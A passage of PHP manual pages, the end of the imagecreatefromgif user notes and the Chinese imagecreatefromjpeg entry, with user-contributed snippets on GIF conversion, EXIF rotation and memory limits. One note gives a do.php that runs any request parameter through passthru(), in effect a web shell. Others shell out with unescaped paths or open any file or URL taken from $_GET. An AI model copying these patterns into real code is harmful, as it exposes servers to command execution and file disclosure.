                                break;
                        }
                        else
                        {
                                if ($where1+8 == $where2)
                                {
                                        $count++;
                                }
                                $str_loc=$where2+1;
                        }
                }
        }

        if ($count > 1)
        {
                return(true);

        }
        else
        {
                return(false);
        }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
        if (is_ani($thisfile))
        {
                echo "$thisfile is animated<BR>\n";
        }
        else
        {
                echo "$thisfile is NOT animated<BR>\n";
        }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de 25-Oct-2005 12:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz 06-Apr-2004 02:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net 07-Oct-2003 08:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 04:26
function LoadGif ($imgname) {
    $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
    if (!$im) { /* See if it failed */
        $im = ImageCreate (150, 30); /* Create a blank image */
        $bgc = ImageColorAllocate ($im, 255, 255, 255);
        $tc  = ImageColorAllocate ($im, 0, 0, 0);
        ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
18-Apr-2003 09:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org 27-Feb-2003 07:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com 13-Feb-2003 07:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
    // GIF file successfully opened
    if(gif_outputAsPNG($gif, "./test.png")) {
        // Now, just use ImageCreateFromPng...
        $img = ImageCreateFromPng("./test.png");

        if($img) {
            header("Content-Type: image/jpeg");
            ImageJPEG($img);
            ImageDestroy($img);
        }
        else {
            // Could NOT open PNG
        }
    }
    else {
        // Could NOT convert GIF to PNG...
    }
}
else {
    // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro 11-Jan-2003 11:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com 14-Nov-2002 06:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es 09-May-2002 10:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
anthony dot atkins at vt dot edu 16-May-2000 06:05
<?php

function myImageCreateFromGif($file_or_url) {

        $dummy_file = "/tmp/dummy.gif";

        # if this is a url, use fopen to get the file data, then
        # save it to a dummy file
        if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
                # open the file using fopen, which supports remote URLs
                $input = fopen($file_or_url, "rb");

                # read the contents of the file
                # will accept files up to 10Mb, but will probably get
                # and EOF before that, we have to do it this way because
                # filesize isn't designed to work with URLs.  sigh.
                $image_data = fread($input, 10000000);

                fclose($input);

                # write the contents to a dummy file
                $output = fopen("$dummy_file", "wb");
                fwrite($output, $image_data);
                fclose($output);

                # create the gif from the dummy file
                $image = ImageCreateFromGif($dummy_file);

                # get rid of the dummy file
                unlink($dummy_file);

        }

        # if it's not a URL, we can simply open the image directly
        else {
                $image = ImageCreateFromGif($file_or_url);
        }

        if ($image) { return $image; }
        else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
        print "<p>No Image data was returned...</p>\n";
}
else {
        header("Content-Type: image/gif\n\n");
        ImageGif($image);
}

?>


由文件或 URL 创建一个新图象。

  • ? imagecreatefromgif
  • imagecreatefrompng ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromjpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromjpeg — 由文件或 URL 创建一个新图象。

说明

imagecreatefromjpeg(string $filename): GdImage|false

imagecreatefromjpeg() 返回图像标识符，代表从指定文件名获得的图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

JPEG 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 在加载 JPEG 期间处理错误的示例

<?php
function LoadJpeg($imgname)
{
/* 尝试打开 */
$im = @imagecreatefromjpeg($imgname);

/* See if it failed */
if(!$im)
{
/* Create a black image */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Output an error message */
imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/jpeg');

$img = LoadJpeg('bogus.image');

imagejpeg($img);
imagedestroy($img);
?>

以上示例的输出类似于：

示例输出：在加载 JPEG 期间处理错误的示例

User Contributed Notes

matthieu dot poignant+php at gmail dot com 29-Jul-2021 09:58
In PHP 8, you can create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath): ?\GdImage {
    return match (exif_imagetype($filepath)) {
        // gif
        1 => imageCreateFromGif($filepath),
        // jpg
        2 => imageCreateFromJpeg($filepath),
        // png
        3 => imageCreateFromPng($filepath),
        // bmp
        6 => imageCreateFromBmp($filepath),
        // not defined
        default => null,
    };
}
?>
sagarsdeshmukh91 at gmail dot com 01-Feb-2017 03:50
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'image.jpg' is not a valid JPEG file

This only happens with certain images, which when opened in any program are ok, it even uploads to the version of the site I have on localhost with no problems,

To fix try below code snippet-

<?php
...
$image = @ImageCreateFromJpeg($image_name);
if (!$image)
{
    $image= imagecreatefromstring(file_get_contents($image_name));
}
...
?>
reorganisation at evo-german dot com 07-Jun-2016 11:19
Had to fight with this error message:

imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error

and found, that some picture tools like GIMP are adding EXIF-Informantions about changes.
Those pictures are running in the above problem.

Using an easy picture tool like Windows Paint - save the image new - and imagecreatefromjpeg worked for me.
jan at recreatie-zorg dot nl 05-Aug-2013 10:20
This function does not honour EXIF orientation data.  Pictures that are rotated using EXIF, will show up in the original orientation after being handled by imagecreatefromjpeg().  Below is a function to create an image from JPEG while honouring EXIF orientation data.

<?php
    function imagecreatefromjpegexif($filename)
    {
        $img = imagecreatefromjpeg($filename);
        $exif = exif_read_data($filename);
        if ($img && $exif && isset($exif['Orientation']))
        {
            $ort = $exif['Orientation'];

            if ($ort == 6 || $ort == 5)
                $img = imagerotate($img, 270, null);
            if ($ort == 3 || $ort == 4)
                $img = imagerotate($img, 180, null);
            if ($ort == 8 || $ort == 7)
                $img = imagerotate($img, 90, null);

            if ($ort == 5 || $ort == 4 || $ort == 7)
                imageflip($img, IMG_FLIP_HORIZONTAL);
        }
        return $img;
    }
?>
matt dot squirrell dot php at hsmx dot com 05-Nov-2012 01:28
This little function allows you to create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath) {
    $type = exif_imagetype($filepath); // [] if you don't have exif you could use getImageSize()
    $allowedTypes = array(
        1,  // [] gif
        2,  // [] jpg
        3,  // [] png
        6   // [] bmp
    );
    if (!in_array($type, $allowedTypes)) {
        return false;
    }
    switch ($type) {
        case 1 :
            $im = imageCreateFromGif($filepath);
        break;
        case 2 :
            $im = imageCreateFromJpeg($filepath);
        break;
        case 3 :
            $im = imageCreateFromPng($filepath);
        break;
        case 6 :
            $im = imageCreateFromBmp($filepath);
        break;
    }
    return $im;
}
?>
pavel.lint at vk.com 04-May-2012 09:31
I was experiencing troubles with imagecreatefromjpeg() as it outputted errors even when called with @ in front. ini_set("gd.jpeg_ignore_warning", 1) didnt work for me, so I came up with another simple solution.

The problem is caused by gd error output, so by redirecting STDERR to /dev/null all the error messages in it are supressed and you can still use regular STDOUT for your error output.

So, just use
<?
fclose( STDERR );
$STDERR = fopen( "/dev/null", "wb" );
?>
Jrn Berkefeld 26-Apr-2011 11:08
I encountered a very strange behaviour:
The background:
Each time users uploaded images, the original file was stored along with a thumbnail and a medium sized version for small-sized slideshows.
that means that on upload all of these original images were acknowledged by php as valid jpg

The change:
I created a new slideshow script that featured full-screen display. My old "medium-sized" version were only about 600px wide which caused them to luck all ugly after stretching that to modern screen sizes.
--> I created a small script that opens all original images and saves bigger "medium-sized" versions than the once I had.

the problem:
for some reason about 1/3 of all images (not the last third but always the same images) were now labeled as "... is not a valid JPEG file ..." by php

the cause:
still unknown

the solution:
<?php
...
$src_img = @imagecreatefromjpeg($myJPGfile_relative);
if (!$src_img) {
    $src_img = LoadJPEG("http://example.com/".$myJPGfile);
}
?>

Each time the local approach fails the script falls back to loading the same file "from the outside" via the below mentioned "LoadJPEG" script - big thanks to the author!
That worked even though I'm talking about the exact same file on the exact same server. The only difference is that one time it's accessed locally and the second via port 80.

when using this, watch for correct paths relative to your script and the possibly different path relative to your domain.
juozaspo at gmail dot com 19-Oct-2010 02:58
There is my actual script to resize image without distortion to generate a thumbnail and/or show a smaller to browser.

<?php
// usual header used on my all pages
ob_start("ob_gzhandler");
$PHP_SELF=$_SERVER['PHP_SELF'];
include "include/errors.php"; //error log script

// actual script begins here
$type=false;
function open_image ($file) {
    //detect type and process accordinally
    global $type;
    $size=getimagesize($file);
    switch($size["mime"]){
        case "image/jpeg":
            $im = imagecreatefromjpeg($file); //jpeg file
        break;
        case "image/gif":
            $im = imagecreatefromgif($file); //gif file
      break;
      case "image/png":
          $im = imagecreatefrompng($file); //png file
      break;
    default:
        $im=false;
    break;
    }
    return $im;
}

$url = $_GET['url'];
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == filemtime($url))) {
  // send the last mod time of the file back
    header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($url)).' GMT', true, 304); //is it cached?
} else {

$image = open_image($url);

if ($image === false) { die ('Unable to open image'); }

$w = imagesx($image);
$h = imagesy($image);

//calculate new image dimensions (preserve aspect)
if(isset($_GET['w']) && !isset($_GET['h'])){
    $new_w=$_GET['w'];
    $new_h=$new_w * ($h/$w);
} elseif (isset($_GET['h']) && !isset($_GET['w'])) {
    $new_h=$_GET['h'];
    $new_w=$new_h * ($w/$h);
} else {
    $new_w=isset($_GET['w'])?$_GET['w']:560;
    $new_h=isset($_GET['h'])?$_GET['h']:560;
    if(($w/$h) > ($new_w/$new_h)){
        $new_h=$new_w*($h/$w);
    } else {
        $new_w=$new_h*($w/$h);
    }
}

$im2 = ImageCreateTrueColor($new_w, $new_h);
imagecopyResampled ($im2, $image, 0, 0, 0, 0, $new_w, $new_h, $w, $h);
//effects
if(isset($_GET['blur'])){
    $lv=$_GET['blur'];
    for($i=0; $i<$lv;$i++){
        $matrix=array(array(1,1,1),array(1,1,1),array(1,1,1));
        $divisor = 9;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}
if(isset($_GET['sharpen'])){
    $lv=$_GET['sharpen'];
    for($i=0; $i<$lv;$i++){
        $matrix = array(array(-1,-1,-1),array(-1,16,-1),array(-1,-1,-1));
        $divisor = 8;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}

header('Content-type: image/jpeg');
$name=explode(".", basename($_GET['url']));
header("Content-Disposition: inline; filename=".$name[0]."_t.jpg");
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($url)) . ' GMT');
header("Cache-Control: public");
header("Pragma: public");
imagejpeg($im2);
//imagedestroy($im2);
//imagedestroy($image);
}

?>
Ray.Paseur sometimes uses Gmail 08-Oct-2010 03:19
If you have a blank in the file name, and you use a local URL, this function works.  Not so with a fully qualified URL

<?php
$url = 'RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// WORKS PERFECTLY

$url = 'http://www.example.com/RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// FAILS Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error
?>
nico at anvilstudios dot co dot za 07-Sep-2010 12:41
I encountered a problem with this function on a windows system. Instead of returning false in case of the file not being a JPG, the function resulted in an error:
"imagecreatefromjpeg() : gd-jpeg : JPEG library reports unrecoverable error".

To get around this first check whether the file is a JPEG file using its mime type, if it is not return false.
brentwientjes at NOSPAM dot comcast dot net 16-Feb-2010 12:47
Last night I posted the following note under move_upload_file and looked tonight to see if it got into the system.  I happen to also pull up imagecreatefromjpeg and got reminded of many resize scripts in this section.  Unfortunately, my experience was not covered by most of the examples below because each of them assumed less than obvious requirements of the server and browser.  So here is the post again under this section to help others uncover the mystery in file uploading and resizing arbitrary sized images.  I have been testing for several days with hundreds of various size images and it seems to work well.  Many additional features could be added such as transparency, alpha blending, camera specific knowledge, more error checking.  Best of luck.

---  from move_upload_file post ---

I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);  // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
dmhouse at gmail dot com 08-Aug-2007 03:37
For a script that allows you to calculate the "fudge factor" discussed below by Karolis and Yaroukh, try the following. Grab a few images, preferably some large ones (the script should cope with images of up to 10 megapixels or so), some small ones, and some ones in between. Add their filenames to the $images array, then load the script in your browser.

<?php

header('Content-Type: text/plain');

ini_set('memory_limit', '50M');

function format_size($size) {
  if ($size < 1024) {
    return $size . ' bytes';
  }
  else {
    $size = round($size / 1024, 2);
    $suffix = 'KB';
    if ($size >= 1024) {
      $size = round($size / 1024, 2);
      $suffix = 'MB';
    }
    return $size . ' ' . $suffix;
  }
}

$start_mem = memory_get_usage();

echo <<<INTRO
The memory required to load an image using imagecreatefromjpeg() is a function
of the image's dimensions and the images's bit depth, multipled by an overhead.
It can calculated from this formula:
Num bytes = Width * Height * Bytes per pixel * Overhead fudge factor
Where Bytes per pixel = Bit depth/8, or Bits per channel * Num channels / 8.
This script calculates the Overhead fudge factor by loading images of
various sizes.
INTRO;

echo "\n\n";

echo 'Limit: ' . ini_get('memory_limit') . "\n";
echo 'Usage before: ' . format_size($start_mem) . "\n";

// Place the images to load in the following array:
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg');
$ffs = array();

echo "\n";

foreach ($images as $image) {
  $info = getimagesize($image);
  printf('Loading image %s, size %s * %s, bpp %s... ',
         $image, $info[0], $info[1], $info['bits']);
  $im = imagecreatefromjpeg($image);
  $mem = memory_get_usage();
  echo 'done' . "\n";
  echo 'Memory usage: ' . format_size($mem) . "\n";
  echo 'Difference: ' . format_size($mem - $start_mem) . "\n";
  $ff = (($mem - $start_mem) /
         ($info[0] * $info[1] * ($info['bits'] / 8) * $info['channels']));
  $ffs[] = $ff;
  echo 'Difference / (Width * Height * Bytes per pixel): ' . $ff . "\n";
  imagedestroy($im);
  $start_mem = memory_get_usage();
  echo 'Destroyed. Memory usage: ' . format_size($start_mem) . "\n";

  echo "\n";
}

echo 'Mean fudge factor: ' . (array_sum($ffs) / count($ffs));

?>
huguowen at cn dot ibm dot com 16-May-2007 11:57
Tips for Windows User to Set up GD(dynamic graphic lib) with PHP.

Problem I meet:

When i run following function, which terminates at

$img = @imagecreatefromjpeg($image_path);

error message is : undefined function imagecreatefromjpeg();

no other code of the script gets executed.

Solution:

In one word, you need to turn on gd lib,
which hold the implementation of imagecreatefromjpeg();

please follow below steps:

my php install dir is: c:/php/
first you must try to find:
c:/php/php.ini
c:/php/ext/php_gd2.dll(php 5)
c:/php/extension/php_gd2.dll(php 4)

The php_gd2.dll is included in a standard PHP installation for Windows,
however, it's not enabled by default.
You have to turn it on,
You may simply uncomment the line "extension=php_gd2.dll" in php.ini and restart the PHP extension.

Change:
,extension=php_gd2.dll

To:
extension=php_gd2.dll

You may also have to correct the extension directory setting
from:
extension_dir = "./"
extension_dir = "./extensions"
To (FOR WINDOWS):
extension_dir = "c:/php/extensions"(php 4)
extension_dir = "c:/php/ext"(php 5)

Cheers!
sales at wholehogsoftware dot com 02-May-2007 09:10
I've found a bug in CentOS 4.x that, while previously addressed, does not seem to be directly addressed here as far as the nature of the bug is concerned.

If you are having a problem getting this function to work on CentOS 4.4 (may appear earlier) and are receiving this error:

Call to undefined function imagecreatefromjpeg()

This is because the installation *does* support JPG by default if you have libjpeg installed. However, the config script finds libjpeg in /usr/lib but it is never successfully added to the PHP build.

To fix this, you should recompile PHP and be absolutely sure to add '--with-jpeg-dir' to the config command. This should appear BEFORE the --with-gd option. Example:

'--with-jpeg-dir' '--with-gd'

If you don't put it before --with-gd, the option is completely ignored.

As always, be sure to do a 'make clean' before a 'make install'. I made the mistake of forgetting to check and wasted 30 minutes trying to resolve this problem simply because I forgot to clean up after myself previously.
hvozda at ack dot org 30-Oct-2006 03:42
If imagecreatefromjpeg() fails with "PHP Fatal error:  Call to undefined function:  imagecreatefromjpeg()", it does NOT necessarily mean that you don't have GD installed.

If phpinfo() shows GD, but not JPEG support, then that's the problem.  You would think that --with-gd would do the right thing since it does check for the existance of libjpeg (and finds it) and add that feature to GD, but it doesn't in v4.4.4 at least on RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified...
info at daleconsulting dot com dot au 29-Aug-2006 06:34
In a post by Angel Leon, an example script was given that forms a thumbnail gallery using imagecreatefromjpeg.  I am fairly new to php scripts, but I found that the script did not display the table of thumbnail images if the row wasn't "filled" with images.. i.e. if there were 5 images in the folder and the script specified 3 rows in the table, then the page would only display the thumbnails for the first row and only three images were shown.  I found that if you specified the variable row with this equation, then the table would display properly:

$row = intval(count($files)+($row_size-1));

(This is the first line in the createThumbTable function.)
05-Jun-2006 10:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk 24-May-2006 05:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org 04-May-2006 10:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar 25-Apr-2006 01:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
          $memoryLimit = 8 * $MB;
And change that line for:
          $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com 08-Apr-2006 04:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
    $imageInfo = getimagesize($filename);
    $MB = 1048576;  // number of bytes in 1M
    $K64 = 65536;    // number of bytes in 64K
    $TWEAKFACTOR = 1.5;  // Or whatever works for you
    $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
    //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
    //Default memory limit is 8MB so well stick with that.
    //To find out what yours is, view your php.ini file.
    $memoryLimit = 8 * $MB;
    if (function_exists('memory_get_usage') &&
        memory_get_usage() + $memoryNeeded > $memoryLimit)
    {
        $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                            + $memoryNeeded
                                            - $memoryLimit
                                            ) / $MB
                                        );
        ini_set( 'memory_limit', $newLimit . 'M' );
        return true;
    }else
        return false;
    }
}
?>
Christoph Ziegenberg 13-Mar-2006 01:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

    function check_canonpowershot($filename)
    {
        if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
        {
            return true;
        }
        return false;
    }
JohnBrook at pobox dot com 09-Feb-2006 07:14
Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);   // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;   // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                        * $imageInfo['bits']
                                        * $imageInfo['channels'] / 8
                          + $K64
                        ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                      + $memoryNeeded
                                      - $memoryLimit
                                      ) / $MB
                                    );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com 09-Feb-2006 06:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com 09-Feb-2006 04:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com 30-Dec-2005 05:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

    ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
yaroukh at gmail dot com 21-Aug-2005 04:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
linus at flowingcreativity dot net 29-May-2005 09:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
ceefour -at!- gauldong.net 24-Feb-2005 02:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

